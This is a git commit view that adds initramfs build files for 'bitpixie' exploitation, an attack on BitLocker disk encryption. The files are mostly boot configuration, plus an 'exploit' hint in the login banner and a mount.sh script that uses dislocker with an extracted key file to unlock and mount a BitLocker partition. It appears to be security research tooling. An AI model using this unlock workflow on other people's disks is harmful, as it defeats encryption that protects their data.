Import initramfs generation scripts for bitpixie exploitation

It is based on a stripped down version of Filippo Valsorda's rootfs-free
immutable NAS project with various bitpixie related hacks added.

 https://words.filippo.io/dispatches/frood/
This commit is contained in:
Marc André Tanner
2025-01-31 16:40:19 +01:00
commit bd07ff3052
13 changed files with 279 additions and 0 deletions
+1
View File
@@ -0,0 +1 @@
bitpixie
+2
View File
@@ -0,0 +1,2 @@
127.0.0.1 bitpixie localhost
::1 bitpixie localhost
+2
View File
@@ -0,0 +1,2 @@
fuse
loop
+8
View File
@@ -0,0 +1,8 @@
____ ___ _ _ ___ _____ ____ _ _ _ ___ ____
| _ \ / _ \ | \ | |/ _ \_ _| | _ \ / \ | \ | |_ _/ ___|
| | | | | | | | \| | | | || | | |_) / _ \ | \| || | |
| |_| | |_| | | |\ | |_| || | | __/ ___ \| |\ || | |___
|____/ \___/ |_| \_|\___/ |_| |_| /_/ \_\_| \_|___\____|
# exploit && ./mount.sh /dev/partion && ls mnt
+5
View File
@@ -0,0 +1,5 @@
auto lo
iface lo inet loopback
#auto eth0
#iface eth0 inet dhcp
+7
View File
@@ -0,0 +1,7 @@
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs devtmpfs /dev
exec /sbin/init
+7
View File
@@ -0,0 +1,7 @@
#!/bin/sh
[ ! -e "$1" ] && echo "usage: $0 /dev/partition" && exit 1
mkdir bitlocker mnt
dislocker -V "$1" -K vmk.dat -vvv -- bitlocker
mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt